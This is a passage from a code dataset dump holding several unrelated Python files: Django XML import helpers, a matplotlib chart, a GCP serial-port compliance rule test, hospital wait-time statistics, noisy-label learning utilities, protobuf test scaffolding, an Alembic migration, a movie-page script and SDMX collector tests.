link[index+2:end]\n else:\n v_id = link[index+2:]\n elif video.get('video-type') == \"vimeo\":\n index = link.find(\"video/\")\n if index != -1:\n v_id = link[index+6:]\n else:\n v_id = link\n vid = Video(id=v_id, link=video.find('link').text.strip(), title=video.find('title').text.strip(), description = d, related_id = id)\n if video.get('video-type') is not None:\n vid.type = video.get('video-type')\n vid.save()\n t.videos.add(vid.id)\n t.save()\n\ndef getsocialnetworks(element, t, merge, id):\n \"\"\"\"\"\n # getsocialnetworks\n # finds all the sub-socialnetworks in a \"social_networks\" Element Object then builds a GAE model for each, attributes them to a given Model Object and saves them in the GAE datastore\n # input: element = Element Object, boolean to indicate merge, id used to find old associated social networks for merge, t = Model Object (ex. t = Person(), used to attribute created socialnetwork model, t.social_networks += sn.id)\n # output: None\n \"\"\"\"\"\n #assert isinstance(element, Element), 'getsocialnetworks(element, t): element is not instance of Element'\n #assert isinstance(t, models.Model), 'getsocialnetworks(element, t): t is not instance of Model'\n \n socialnetworks = element.findall('social')\n # if merge is true, then we retain all the old socialnetworks as well as the new socialnetworks, otherwise it will overwrite the associated socialnetworks\n if(merge and SocialNetwork.objects.filter(related_id = id)):\n old_socialnetworks = SocialNetwork.objects.filter(related_id=id)\n for socialnetwork in old_socialnetworks:\n t.social_networks.add(socialnetwork.id)\n for socialnetwork in socialnetworks:\n sn = SocialNetwork(id=socialnetwork.find('link').text.strip(), link=socialnetwork.find('link').text.strip(), related_id = id)\n if socialnetwork.get('social-type') is not None:\n sn.type = socialnetwork.get('social-type')\n if sn.type == \"facebook\":\n index = sn.link.find(\"facebook.com/pages/\")\n if index != -1:\n end = sn.link.rfind(\"/\")\n sn.title = sn.link[index + 19:end]\n else:\n sn.title = sn.link[sn.link.find(\"facebook.com/\") + 13:]\n elif sn.type == \"twitter\":\n index = sn.link.find(\"twitter.com/#!/\")\n if index != -1:\n sn.title = sn.link[index + 15:]\n else:\n sn.title = sn.link[sn.link.find(\"twitter.com/\") + 12:] \n sn.save()\n t.social_networks.add(sn.id)\n t.save() \n\ndef getexternallinks(element, t, merge, id):\n \"\"\"\"\"\n # getexternallinks\n # finds all the sub-externallinks in an \"external_links\" Element Object then builds a GAE model for each, attributes them to a given Model Object and saves them in the GAE datastore\n # input: element = Element Object, boolean to indicate merge, id used to find old associated external links for merge, t = Model Object (ex. t = Person(), used to attribute created externallink model, t.external_links += el.id)\n # output: None\n \"\"\"\"\"\n #assert isinstance(element, Element), 'getexternallinks(element, t): element is not instance of Element'\n #assert isinstance(t, models.Model), 'getexternallinks(element, t): t is not instance of Model'\n\n externallinks = element.findall('external-link')\n # if merge is true, then we retain all the old socialnetworks as well as the new socialnetworks, otherwise it will overwrite the associated socialnetworks\n if(merge and ExternalLink.objects.filter(related_id = id)):\n old_externallinks = ExternalLink.objects.filter(related_id=id)\n for externallink in old_externallinks:\n t.external_links.add(externallink.id)\n for externallink in externallinks:\n el = ExternalLink(id=externallink.find('link').text.strip(), link=externallink.find('link').text.strip(), title=externallink.find('title').text.strip(), related_id = id)\n el.save()\n t.external_links.add(el.id)\n t.save()\n\ndef get_related_objects(element, attribute, t):\n \"\"\"\"\"\n # input: element = Element Object, attribute = string of attribute to fetch, t = Model Object (ex. t = Person(), used to attribute created relatedcrisis model)\n # output: None\n \"\"\"\"\"\n #assert isinstance(element, Element)\n #assert isinstance(t, models.Model)\n \n tags = element.findall(attribute)\n related_list = []\n for tag in tags:\n list = tag.text.strip().split(' ')\n for elem in list:\n related_list += [elem.strip()]\n attr_name = re.sub('-','_',attribute)\n setattr(t,attr_name,related_list) \n t.save()\n\ndef prettify(elem):\n \"\"\"Return a pretty-printed XML string for the Element.\n \"\"\"\n rough_string = ElementTree.tostring(elem, 'utf-8')\n reparsed = minidom.parseString(rough_string)\n return reparsed.toprettyxml(indent=\" \")\n\ndef underscore_to_camelcase(value):\n def camelcase(): \n yield str.lower\n while True:\n yield str.capitalize\n c = camelcase()\n return \"\".join(c.next()(x) if x else '_' for x in value.split(\"_\"))\n","sub_path":"wc/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":39004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"221501974","text":"import pandas as pd\r\nfrom matplotlib import pyplot as plt\r\nfrom matplotlib import font_manager\r\n\r\n# Set Chinese font\r\nmy_font = font_manager.FontProperties(fname='C:/Windows/fonts/STSONG.TTF')\r\n\r\n# set figure size\r\nplt.figure(figsize=(20,8),dpi=80)\r\n# read cvs file\r\nfile_path = \"./books.csv\"\r\ndf = pd.read_csv(file_path)\r\n\r\n# data screening\r\n# print(df.head(1))\r\n# print(df.info())\r\n\r\n# get off the nan in original_publication_year\r\ndata1 = df[pd.notnull(df[\"original_publication_year\"])]\r\n# grouped\r\ngrouped = data1['average_rating'].groupby(by=data1[\"original_publication_year\"]).mean()\r\n# print(grouped)\r\n\r\n_x = grouped.index\r\n_y = grouped.values\r\nx = list(range(len(_x)))\r\n\r\n# draw\r\nplt.plot(x,_y)\r\n# Adjust X-axis scale\r\nplt.xticks(x[::10],_x[::10],fontproperties=my_font,rotation=45)\r\n\r\n# Set axis legend\r\nplt.xlabel(\"年份\",fontproperties=my_font)\r\nplt.ylabel(\"评分\",fontproperties=my_font)\r\nplt.title('历年图书评分',fontproperties=my_font)\r\n\r\n#show\r\nplt.show()","sub_path":"data_visionable/comprehensive_test_1.py","file_name":"comprehensive_test_1.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"24402966","text":"from unittest import TestCase\nfrom parameterized import parameterized\nfrom cloudrail.dev_tools.rule_test_utils import create_empty_entity\nfrom cloudrail.knowledge.context.gcp.gcp_environment_context import GcpEnvironmentContext\nfrom cloudrail.knowledge.context.gcp.resources.compute.gcp_compute_instance import GcpComputeInstance\nfrom cloudrail.knowledge.rules.base_rule import RuleResultType\nfrom cloudrail.knowledge.rules.gcp.non_context_aware.compute_instance_no_serial_port_connection_rule import ComputeInstanceNoSerialPortConnectionRule\n\n\nclass TestComputeInstanceNoSerialPortConnectionRule(TestCase):\n def setUp(self):\n self.rule = ComputeInstanceNoSerialPortConnectionRule()\n\n @parameterized.expand(\n [\n [\"Serial port disabled\", {'foo': 'bar'}, False],\n [\"Serial port enabled\", {'serial-port-enable': 'true'}, True]\n ]\n )\n\n def test_compute_instance_serial_port_connection(self, unused_name: str, metadata: dict, should_alert: bool):\n # Arrange\n compute_instance = create_empty_entity(GcpComputeInstance)\n compute_instance.metadata = metadata\n context = GcpEnvironmentContext(compute_instances=[compute_instance])\n # Act\n result = self.rule.run(context, {})\n # Assert\n if should_alert:\n self.assertEqual(RuleResultType.FAILED, result.status)\n self.assertEqual(1, len(result.issues))\n else:\n self.assertEqual(RuleResultType.SUCCESS, result.status)\n self.assertEqual(0, len(result.issues))\n","sub_path":"tests/knowledge/rules/gcp/non_context_aware/test_compute_instance_no_serial_port_connection_rule.py","file_name":"test_compute_instance_no_serial_port_connection_rule.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"62241095","text":"from dataReader import dataReader\nimport datetime\n# from draw import draw\nfrom copy import deepcopy\n\n\nclass Const:\n def __init__(self):\n self.WEEKDAY = ('周一', '周二', '周三', '周四', '周五', '周六', '周日')\n self.LABEL = [\n '序号', # 0\n '类型', # 1\n '门诊时间', # 2\n '入院时间', # 3\n '第一次手术时间', # 4\n '第二次手术时间', # 5\n '出院时间' # 6\n ]\n self.DISEASE = [\n '白内障', # 0\n '白内障(双眼)', # 1\n '视网膜疾病', # 2\n '青光眼', # 3\n '外伤' # 4\n ]\n self.WAITING_QUEUE_TYPE = deepcopy(self.DISEASE)\n self.WAITING_QUEUE_TYPE.append('Aging')\n\n\nclass Calc:\n def __init__(self, data):\n self.dateBase = datetime.datetime(2008, 6, 30)\n self.data = data\n self.const = Const()\n # 白内障(单眼)\n self.cataractsS = list()\n # 白内障(双眼)\n self.cataractsD = list()\n # 视网膜疾病\n self.retinalDiseases = list()\n # 青光眼\n self.glaucoma = list()\n # 外伤\n self.trauma = list()\n # 住院人数随时间变化\n self.come = list()\n # 出院时间随人数变化\n self.out = list()\n # 请在总表中计算\n\n def calcIO(self):\n for _ in range(100):\n self.come.append(0)\n self.out.append(0)\n for sheet in self.data:\n for i in sheet:\n if i[3] is not None:\n self.come[(i[3]-self.dateBase).days] += 1\n if i[6] is not None:\n self.out[(i[6]-self.dateBase).days] += 1\n return [self.come, self.out]\n\n # TODO\n # 1.各种疾病的平均术后观察时间、等待时间,准备时间。\n # 2.平均每人等待时间(门诊到入院时间)\n # 3.平均每人准备时间(入院到手术)\n # 4.病床周转率(一段时间内的住院人次/(病床数*时间))\n def afterOperation(self):\n self.ao = list()\n for i in range(len(self.const.DISEASE)):\n self.ao.append([0, 0])\n for sheet in self.data:\n for i in sheet:\n if i[1] == self.const.DISEASE[1]:\n try:\n self.ao[1][1] += (i[6]-i[5]).days\n self.ao[1][0] += 1\n except Exception:\n pass\n else:\n key = self.const.DISEASE.index(i[1])\n try:\n self.ao[key][1] += (i[6]-i[4]).days\n self.ao[key][0] += 1\n except Exception:\n pass\n res = list()\n for i in self.ao:\n res.append(i[1]/i[0])\n return(res)\n\n def awaitOperation(self):\n self.ao = list()\n for i in range(len(self.const.DISEASE)):\n self.ao.append([0, 0])\n for sheet in self.data:\n for i in sheet:\n key = self.const.DISEASE.index(i[1])\n try:\n self.ao[key][1] += (i[3]-i[2]).days\n self.ao[key][0] += 1\n except Exception:\n pass\n res = list()\n for i in self.ao:\n res.append(i[1]/i[0])\n return(res)\n\n def prepOperation(self):\n self.ao = list()\n for i in range(len(self.const.DISEASE)):\n self.ao.append([0, 0])\n for sheet in self.data:\n for i in sheet:\n key = self.const.DISEASE.index(i[1])\n try:\n self.ao[key][1] += (i[4]-i[3]).days\n self.ao[key][0] += 1\n except Exception:\n pass\n res = list()\n for i in self.ao:\n res.append(i[1]/i[0])\n return(res)\n\n def peopleAwaitOperation(self):\n self.ao = [0, 0]\n for sheet in self.data:\n for i in sheet:\n try:\n self.ao[1] += (i[3]-i[2]).days\n self.ao[0] += 1\n except Exception:\n pass\n res = list()\n res.append(self.ao[1]/self.ao[0])\n return(res)\n\n def peoplePrepOperation(self):\n self.ao = [0, 0]\n for sheet in self.data:\n for i in sheet:\n try:\n self.ao[1] += (i[4]-i[3]).days\n self.ao[0] += 1\n except Exception:\n pass\n res = list()\n res.append(self.ao[1]/self.ao[0])\n return(res)\n\n def transRate(self):\n self.ao = [0, 0]\n for sheet in self.data:\n for i in sheet:\n try:\n self.ao[1] += 1/(i[6]-i[2]).days\n self.ao[0] += 1\n except Exception:\n pass\n res = list()\n res.append(self.ao[1]/self.ao[0])\n return(res)\n\n\nif __name__ == '__main__':\n data = dataReader()\n calc = Calc(data)\n s = calc.transRate()\n const = Const()\n print('病床周转率(平均从到出院的时间的倒数的平均值)')\n # for i in range(5):\n # print('%s\\t%.2f 天'%(const.DISEASE[i],(s[i])))\n print('%.2f人次/天' % s[0])\n","sub_path":"国赛训练/2019培训3/code/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":5401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"633357903","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom models import *\nfrom sklearn.mixture import GaussianMixture\nfrom sklearn.cluster import KMeans\nfrom sklearn.decomposition import PCA\nimport pdb\n\n\n\ndef forward_loss(f, labels, Q, device):\n Q = torch.from_numpy(Q).float().to(device)\n q = torch.mm(F.softmax(f, 1), Q)\n return F.nll_loss(q.log(), labels.long())\n\ndef classification_loss(f, labels):\n\n loss = F.cross_entropy(f,labels.long())\n\n return loss\n\ndef accuracy_check(loader, model,device):\n model.eval()\n sm = F.softmax\n total, num_samples = 0, 0\n for images, labels in loader:\n\n labels, images = labels.to(device), images.to(device)\n outputs = model(images)\n sm_outputs = sm(outputs, dim=1)\n _, predicted = torch.max(sm_outputs.data, 1)\n total += (predicted == labels).sum().item()\n num_samples += labels.size(0)\n model.train()\n return 100 * total / num_samples\n\n\n\ndef est_accuracy_check(loader, model,tm, device):\n model.eval()\n sm = F.softmax\n total, num_samples = 0, 0\n\n tm = torch.from_numpy(tm).float().to(device)\n\n for images, labels in loader:\n labels, images = labels.to(device), images.to(device)\n outputs = model(images)\n\n\n sm_outputs = sm(outputs, dim=1)\n qt = torch.t(tm)\n\n inv_qt = qt.inverse()\n\n outputs = torch.Tensor(len(labels), 10).cuda()\n\n for i, out in enumerate(sm_outputs):\n outputs[i] = torch.matmul(inv_qt,out)\n\n # outputs = np.dot(inv_qt, sm_outputs.cpu().detach().numpy())\n _, predicted = torch.max(outputs, 1)\n total += (predicted == labels).sum().item()\n num_samples += labels.size(0)\n model.train()\n return 100 * total / num_samples\n\ndef chosen_loss_c(f, K, labels,meta_method, loaded_tm, device):\n class_loss_torch = None\n\n if meta_method=='forward':\n final_loss = forward_loss(f=f, labels=labels,Q=loaded_tm,device=device)\n elif meta_method == 'classify':\n final_loss = classification_loss(f=f, labels=labels)\n\n else:\n final_loss = classification_loss(f=f, labels=labels)\n return final_loss, class_loss_torch\n\n\n\n\ndef est_error_check(loader, model,tm, device):\n model.eval()\n for i, (data, labels) in enumerate(loader):\n outputs = model(data.to(device))\n outputs = F.softmax(outputs, dim=1).cpu().detach().numpy()\n indices = np.argmin(outputs, axis=0)\n est_tm = outputs[indices]\n error = est_error(est_tm,tm)\n\n model.train()\n return error, est_tm\n\n\n\ndef est_error(t_hat, t):\n \"\"\"\n input:\n t_hat: the estimated transition matrix\n t: true transition matrix\n \"\"\"\n\n t = np.array(t).flatten()\n t_hat = np.array(t_hat).flatten()\n error = np.linalg.norm((t_hat-t), ord=1)/ np.linalg.norm(t, ord=1)\n return error\n\n\ndef cluster(args, device, train_loader, K, tm, model, semi_data, semi_labels):\n\n for model_index in range(200):\n model.cpu()\n state_dict = torch.load(args.path + str(model_index) + '.pth')\n model.load_state_dict(state_dict)\n model.to(device)\n\n model.eval()\n\n # Get latent representations\n latents = []\n outputs = []\n for i, (data, labels) in enumerate(train_loader):\n latent = model.encode(data.to(device)).detach().cpu().numpy()\n output = model(data.to(device)).detach().cpu().numpy()\n latents.append(latent)\n outputs.append(output)\n\n # Select candidates\n\n # candidates = torch.argsort(outputs,dim=0)[:1000]\n\n # Fit GMM\n # inputs = latents.detach().cpu().numpy()\n inputs = np.concatenate(latents, axis=0)\n # inputs = np.squeeze(inputs, axis=(2,3))\n\n # pca = PCA(n_components=64, whiten=True).fit(inputs)\n # inputs = pca.transform(inputs)\n\n kmeans = KMeans(n_clusters=K, random_state=0).fit(inputs)\n # GMM = GaussianMixture(n_components=K, random_state=0, covariance_type='spherical', max_iter=1, n_init=1, means_init=kmeans.cluster_centers_).fit(inputs)\n # posterior = GMM.predict_proba(inputs)\n # indices = np.argmax(posterior,axis = 0)\n\n # candidates = torch.squeeze(candidates)\n\n anchors = []\n labels = []\n for k in range(K):\n index = np.where(semi_labels == k)\n\n semi_inputs = model.encode(semi_data[index].to(device)).detach().cpu().numpy()\n # predicts = GMM.predict(semi_inputs)\n predicts = kmeans.predict(semi_inputs)\n\n counts = np.bincount(predicts)\n label = np.argmax(counts)\n\n # posteriors = GMM.predict_proba(model.encode(data[candidates[:,k]].to(device)).detach().cpu().numpy())\n # index = np.argmax(posteriors[:,label])\n # # pdb.set_trace()\n # anchors.append(candidates[index][k])\n\n # anchors.append(indices[label])\n labels.append(label)\n # print(label)\n # i.append(np.argmin(np.linalg.norm(latents.detach().cpu().numpy() - kmeans.cluster_centers_[label], axis=1)))\n\n # outputs = model(data[anchors].to(device))\n # outputs = np.concatenate(outputs, axis=0)\n # outputs = torch.from_numpy(outputs[anchors])\n # pdb.set_trace()\n\n\n # latents = np.concatenate(latents, axis=0)\n # latents = torch.from_numpy(latents[anchors]).float().cuda()\n\n latents = torch.from_numpy(kmeans.cluster_centers_[labels]).float().cuda()\n\n # latents = torch.from_numpy(GMM.means_[labels]).float().cuda()\n\n outputs = model.last_fc(latents)\n\n est_tm = F.softmax(outputs, dim=1).cpu().detach().numpy()\n\n error = est_error(est_tm, tm)\n\n model.train()\n # np.savetxt(args.save_dir + '/' + str(model_index) + 'gmm_tm.txt', est_tm)\n # np.savetxt(args.save_dir + '/' + 'best_tm.txt', est_tm)\n\n print('estimation error %.4f' % error)\n\n\n# def cluster(args, device, train_loader, K, tm, model, semi_data, semi_labels):\n# model.cpu()\n# state_dict = torch.load(args.path)\n# model.load_state_dict(state_dict)\n# model.to(device)\n#\n#\n# # Get latent representations\n# latents = []\n# outputs = []\n# for i, (data, labels) in enumerate(train_loader):\n# latent = model.encode(data.to(device)).detach().cpu().numpy()\n# output = model(data.to(device)).detach().cpu().numpy()\n# latents.append(latent)\n# outputs.append(output)\n#\n# # # Get latent representations\n# # for i, (data, labels) in enumerate(full_train_loader):\n# # latents = model.encode(data.to(device))\n#\n# inputs = np.concatenate(latents, axis=0)\n#\n# # inputs = latents.detach().cpu().numpy()\n#\n# kmeans = KMeans(n_clusters=K, random_state=0).fit(inputs)\n#\n# est_tm = np.zeros((10, 10))\n#\n# i = []\n# for k in range(K):\n# index = np.where(semi_labels == k)\n# predicts = kmeans.predict(model.encode(semi_data[index].to(device)).detach().cpu().numpy())\n# counts = np.bincount(predicts)\n# label = np.argmax(counts)\n# print(label)\n# # i.append(np.argmin(np.linalg.norm(latents.detach().cpu().numpy() - kmeans.cluster_centers_[label], axis=1)))\n# i.append(np.argmin(np.linalg.norm(inputs - kmeans.cluster_centers_[label], axis=1)))\n#\n# # outputs = model(data[i].to(device))\n#\n# outputs = np.concatenate(outputs, axis=0)\n# outputs = torch.from_numpy(outputs[i])\n#\n#\n# est_tm = F.softmax(outputs, dim=1).cpu().detach().numpy()\n#\n# # index = []\n# # for i in range(K):\n# # index.append(np.argmin(np.linalg.norm(latents.detach().cpu().numpy() - kmeans.cluster_centers_[i], axis=1)))\n# #\n# # outputs = model(data[index].to(device))\n# # outputs = F.softmax(outputs, dim=1).cpu().detach().numpy()\n# # labels = labels[index]\n#\n#\n# # est_tm = np.zeros((10,10))\n# # for i in range(K):\n# # indice = np.argmax(labels == i)\n# # est_tm[i] = outputs[indice]\n# error = est_error(est_tm, tm)\n#\n# np.savetxt(args.save_dir + '/' + 'kmeans_tm.txt', est_tm)\n# print('estimation error %.4f' % error)\n","sub_path":"utils_algo.py","file_name":"utils_algo.py","file_ext":"py","file_size_in_byte":8190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"84489161","text":"import unittest\nimport os\nimport shutil\nimport importlib\n\n\nfrom specs.utils import get_swagger\nfrom specs.mixins import ApiMixin, ValidateMixin, HelperMixin\n\nimported = {}\n\n\nclass BaseTest(unittest.TestCase, ApiMixin, ValidateMixin, HelperMixin):\n schema = {\n 'required': ['test_1', 'test_2', 'test_3', 'test_4', 'test_5'],\n 'properties': {\n 'test_1': {\n 'type': 'integer'\n },\n 'test_2': {\n 'type': 'integer'\n },\n 'test_3': {\n 'type': 'integer'\n },\n 'test_4': {\n 'type': 'integer'\n },\n 'test_5': {\n 'type': 'integer'\n }\n },\n 'additionalProperties': False,\n 'type': 'object'\n }\n\n isProtobufAvailable = False\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.SWAGGER = get_swagger()\n\n def prepare_protobuf_schemas(self):\n \"\"\"Should be able to get Protobuf parameters schemas\"\"\"\n\n status, body = self.api_put_namespace_schema(\n self.current_db, self.test_ns, self.schema)\n self.assertEqual(True, status == self.API_STATUS['success'], body)\n\n status, body = self.api_get_namespace_query_params_schema(\n self.current_db, self.test_ns)\n self.assertEqual(True, status == self.API_STATUS['success'], body)\n\n protoFolder = \"proto/\"\n if not os.path.exists(protoFolder):\n os.mkdir(protoFolder)\n\n pb2Suffix = '_pb2.py'\n moduleName = 'ns_send_params'\n protoExtension = '.proto'\n\n fileName = protoFolder + moduleName + protoExtension\n self.create_proto_schema(fileName, body['message'])\n generatedFile = protoFolder + moduleName + pb2Suffix\n self.isProtobufAvailable = os.path.exists(generatedFile)\n if self.isProtobufAvailable is True:\n shutil.copyfile(generatedFile, moduleName + pb2Suffix)\n return self.isProtobufAvailable\n\n def create_proto_schema(self, fileName, data):\n f = open(fileName, \"w\")\n f.write(str(data))\n f.close()\n os.system(\"protoc -I=. --python_out=. \" + fileName)\n\n def instantiate_pb_object(self, objName, moduleName='ns_send_params_pb2'):\n if moduleName not in imported:\n imported[moduleName] = importlib.import_module(moduleName)\n else:\n importlib.reload(imported[moduleName])\n obj = getattr(imported[moduleName], objName)\n return obj()\n\n def dump_queryresults_object(self, queryresults):\n print(\"\\n\")\n print(\"items.size = %d\" % len(queryresults.items))\n for item in queryresults.items:\n print(item)\n print(\"\\n\")\n\n print(\"cache_enabled = %d\" % queryresults.cache_enabled)\n print(\"explain = %s\" % queryresults.explain)\n print(\"total_items = %d\" % queryresults.total_items)\n print(\"query_total_items = %d\" % queryresults.query_total_items)\n print(\"columns.size = %d\" % len(queryresults.columns))\n for column in queryresults.columns:\n print(column)\n print(\"\\n\")\n\n print(\"namespaces.size = %d\" % len(queryresults.namespaces))\n for ns in queryresults.namespaces:\n print(ns)\n print(\"\\n\")\n\n print(\"aggregations.size = %d\" % len(queryresults.aggregations))\n for aggregation in queryresults.aggregations:\n print(aggregation)\n print(\"\\n\")\n\n def setUp(self):\n self.helper_update_timestamp()\n self.helper_update_testdata_entities()\n","sub_path":"cpp_src/cmd/reindexer_server/test/specs/_base_test.py","file_name":"_base_test.py","file_ext":"py","file_size_in_byte":3631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"632425175","text":"\"\"\"empty message\n\nRevision ID: 3f7d48bb9e93\nRevises: f61e52976d0b\nCreate Date: 2018-03-27 08:54:20.454545\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '3f7d48bb9e93'\ndown_revision = 'f61e52976d0b'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('auth_token',\n sa.Column('jti', sa.String(length=64), nullable=False),\n sa.Column('revoked', sa.Boolean(), nullable=True),\n sa.PrimaryKeyConstraint('jti')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('auth_token')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/3f7d48bb9e93_.py","file_name":"3f7d48bb9e93_.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"61768981","text":"import fresh_tomatoes\nimport media\n\n# the following objects represent some of my favourite movies\n\nfight_club = media.Movie(\"Fight Club\",\n \"https://upload.wikimedia.org/wikipedia/en/f/fc/Fight_Club_poster.jpg\",\n \"https://www.youtube.com/watch?v=SUXWAEX2jlg\")\n\nspaceballs = media.Movie(\"Spaceballs\",\n \"https://upload.wikimedia.org/wikipedia/en/thumb/4/45/Spaceballs.jpg/220px-Spaceballs.jpg\",\n \"https://www.youtube.com/watch?v=WZsVNkx7NLw\")\n\nhitchhikers_guide = media.Movie(\"Hitchhiker's Guide to the Galaxy (2005)\",\n \"https://upload.wikimedia.org/wikipedia/en/thumb/7/7a/Hitchhikers_guide_to_the_galaxy.jpg/220px-Hitchhikers_guide_to_the_galaxy.jpg\",\n \"https://www.youtube.com/watch?v=eLdiWe_HJv4\")\n\nrobocop = media.Movie(\"RoboCop (1987)\",\n \"https://upload.wikimedia.org/wikipedia/en/thumb/1/16/RoboCop_%281987%29_theatrical_poster.jpg/220px-RoboCop_%281987%29_theatrical_poster.jpg\",\n \"https://www.youtube.com/watch?v=zbCbwP6ibR4\")\n\ntotal_recall = media.Movie(\"Total Recall (1990)\",\n \"https://upload.wikimedia.org/wikipedia/en/thumb/f/f9/Total_recall.jpg/220px-Total_recall.jpg\",\n \"https://www.youtube.com/watch?v=2DwNb-ZGVjE\")\n\nlangoliers = media.Movie(\"The Langoliers\",\n \"https://upload.wikimedia.org/wikipedia/en/thumb/8/83/The_Langoliers_%28TV_miniseries%29.jpg/250px-The_Langoliers_%28TV_miniseries%29.jpg\",\n \"https://www.youtube.com/watch?v=zJocfhzC6xU\")\n\nguardians_of_the_galaxy = media.Movie(\"Guardians of the Galaxy (2014)\",\n \"https://upload.wikimedia.org/wikipedia/en/b/b5/Guardians_of_the_Galaxy_poster.jpg\",\n \"https://www.youtube.com/watch?v=2Uwp2K5AO3Y\")\n\nfifth_element = media.Movie(\"The Fifth Element\",\n \"https://upload.wikimedia.org/wikipedia/en/thumb/6/65/Fifth_element_poster_%281997%29.jpg/220px-Fifth_element_poster_%281997%29.jpg\",\n \"https://www.youtube.com/watch?v=fQ9RqgcR24g\")\n\nzootopia = media.Movie(\"Zootopia\",\n \"https://upload.wikimedia.org/wikipedia/en/e/ea/Zootopia.jpg\",\n \"https://www.youtube.com/watch?v=jWM0ct-OLsM\")\n\n# add my favourite movies to a list\nmovies = [fight_club, spaceballs, hitchhikers_guide, robocop, total_recall, langoliers, guardians_of_the_galaxy, fifth_element, zootopia]\n\n# use the fresh_tomatoes module to create a HTML page showcasing my list of favourite movies\nfresh_tomatoes.open_movies_page(movies)\n","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"543555213","text":"from application.services.sdmx_collector import SDMXCollectorService, SDMXCollectorError\nfrom nameko.testing.services import worker_factory\nfrom pymongo import MongoClient\nimport pytest\nimport eventlet\neventlet.monkey_patch()\n\n\n@pytest.fixture\ndef database():\n client = MongoClient()\n\n yield client['test_db']\n\n client.drop_database('test_db')\n client.close()\n\n\ndef test_add_dataflow(database):\n service = worker_factory(SDMXCollectorService, database=database)\n\n def mock_initialize(root_url, agency, resource, version, kind, keys):\n if agency != 'INSEE':\n raise ValueError('Unknown provider!')\n return\n service.sdmx.initialize.side_effect = mock_initialize\n\n service.add_dataflow('http://foo.bar', 'INSEE', 'DATAFLOW', '2.1', 'specific', {})\n assert service.database.dataset.find_one({'agency': 'INSEE'})\n\n with pytest.raises(SDMXCollectorError):\n service.add_dataflow('http://foo.bar', '?', '?', '2.1', 'specific', {})\n\n\ndef test_get_dataset(database):\n service = worker_factory(SDMXCollectorService, database=database)\n\n def mock_codelist():\n return [\n ('CL_AGE', '0', 'desc', 'foo'),\n ('CL_AGE', '10', 'desc', 'foo'),\n ('CL_INDICATEUR', 'XY', 'desc', 'foo'),\n ('CL_INDICATEUR', 'Y', 'desc', 'foo'),\n ('CL_OBS_TYPE', 'DEF', 'desc', 'foo'),\n ('CL_OBS_TYPE', 'Z', 'desc', 'foo')\n ]\n service.sdmx.codelist.side_effect = mock_codelist\n\n def mock_attributes():\n return [\n ('obs_type', 'CL_OBS_TYPE'),\n ('other', None)\n ]\n service.sdmx.attributes.side_effect = mock_attributes\n\n def mock_dimensions():\n return [\n ('AGE', 'CL_AGE'),\n ('indicateur', 'CL_INDICATEUR'),\n ('unknown', 'CL_DIM')\n ]\n service.sdmx.dimensions.side_effect = mock_dimensions\n\n def mock_primary_measure():\n return 'obs_value'\n service.sdmx.primary_measure.side_effect = mock_primary_measure\n\n def mock_time_dimension():\n return 'time_dimension'\n service.sdmx.time_dimension.side_effect = mock_time_dimension\n\n def mock_data():\n return ([{'AGE': '0', 'indicateur': 'XY', 'time_dimension': '2019-Q4', 'obs_value': '35' if r > 0 else 'NaN'} for r in range(5)])\n service.sdmx.data.side_effect = mock_data\n\n dataset = service.get_dataset('http://foo.bar', 'INSEE', 'MY-DATASET', '2.1', 'specific', {})\n assert 'referential' in dataset\n assert 'datastore' in dataset\n assert 'checksum' in dataset\n assert 'id' in dataset\n assert 'meta' in dataset\n assert 'status' in dataset\n\n assert dataset['meta']['type'] == 'insee'\n assert dataset['meta']['source'] == 'sdmx'\n\n assert dataset['status'] == 'CREATED'\n\n datastore = dataset['datastore']\n assert isinstance(datastore, list)\n assert datastore[0]['target_table'] == 'insee_my_dataset'\n records = datastore[0]['records']\n assert isinstance(records, list)\n assert isinstance(records[0], dict)\n assert 'AGE' in records[0]\n assert records[0]['AGE'] == '0'\n assert 'indicateur' in records[0]\n assert 'obs_value' in records[0]\n assert 'time_dimension' in records[0]\n assert 'query' in records[0]\n assert records[0]['obs_value'] is None\n assert 'unknown' in records[0]\n assert records[0]['unknown'] is None\n assert datastore[1]['target_table'] == 'insee_codelist'\n assert len(datastore[1]['records'][0]) == 5\n assert 'ref' in datastore[1]['records'][0]\n\n meta = datastore[0]['meta']\n age = next(filter(lambda x: x[0] == 'AGE', meta))\n assert age[1] == 'VARCHAR(2)'\n obs_type = next(filter(lambda x: x[0] == 'obs_type', meta))\n assert obs_type[1] == 'VARCHAR(4)'\n unknown = next(filter(lambda x: x[0] == 'unknown', meta))\n assert unknown[1] == 'TEXT'\n\n referential = dataset['referential']\n assert referential['entities']\n assert isinstance(referential['entities'], list)\n assert 'common_name' in referential['entities'][0]\n assert 'id' in referential['entities'][0]\n assert referential['entities'][0]['id'] == 'insee_my_dataset'\n","sub_path":"application/tests/test_services.py","file_name":"test_services.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
